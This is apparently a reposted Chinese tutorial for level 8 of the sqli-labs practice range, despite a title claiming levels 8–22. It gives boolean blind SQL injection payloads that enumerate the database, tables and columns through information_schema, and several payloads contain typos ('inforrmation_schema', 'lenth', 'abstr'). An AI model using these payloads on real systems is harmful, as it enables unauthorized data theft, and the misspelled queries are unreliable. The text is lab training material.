sqli_labs靶场——第8-22关

发布时间:2022-06-26 发布网站:脚本宝典
脚本宝典收集整理的这篇文章主要介绍了sqli_labs靶场——第8-22关脚本宝典觉得挺不错的,现在分享给大家,也给大家做个参考。

第8关

手工

注入点

  1. 单引号 输入单引号页面不能正常显示 2.构造正确逻辑 页面正常显示 3.错误逻辑 页面什么不显示 补充:根据页面显示,本关可以用布尔盲注和时间注入;选择用布尔盲注,因为9-10是可以练习事件注入的

数据库长度

sqli_labs靶场——第8-22关

数据库

利用Burpsuite,帮助我们加快测试的流程

语句

  • ' and ascii(substr(database(),1,1))=97--+

使用bp

sqli_labs靶场——第8-22关

sqli_labs靶场——第8-22关

使用时,会出现下图的提示

sqli_labs靶场——第8-22关

sqli_labs靶场——第8-22关

sqli_labs靶场——第8-22关

根据上图的结果,查看ascii码表可得出数据库为security

数据表

确定当前库中有几张表

命令

1' and (select count(table_name) from inforrmation_schema.tables where table_schema=database())=1--+

使用bp

sqli_labs靶场——第8-22关

sqli_labs靶场——第8-22关

设置变量,根据返回的特征you are in......来确定当前表的数量 得到结果4张表

确定第x张表的长度

命令

1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5--+

确定表名

1' and substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)=a--+ 1' and asci(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=97--+

使用bp

我麻木了,不想进行此步操作了

确定有几列

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=1--+

确定第x列的长度

1' and lenth((选择列的命令 limit 0,1))=3--+

确定第x列的名字

1' and abstr((选择列的命令 limit 0,1),1,1)='a'--+ 1' and ascii(abstr((选择列的命令 limit 0,1),1,1))=97--+

具体数值

获取字段有多少行数据

获取每行数据的长度

获取每行的具体内容

工具

获取当前数据库

sqli_labs靶场——第8-22关

获取表名

sqli_labs靶场——第8-22关

获取列名

sqli_labs靶场——第8-22关

获取数值

sqli_labs靶场——第8-22关

总结

脚本宝典总结

以上是脚本宝典为你收集整理的sqli_labs靶场——第8-22关全部内容,希望文章能够帮你解决sqli_labs靶场——第8-22关所遇到的问题。

如果觉得脚本宝典网站内容还不错,欢迎将脚本宝典推荐好友。

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。
标签:数据库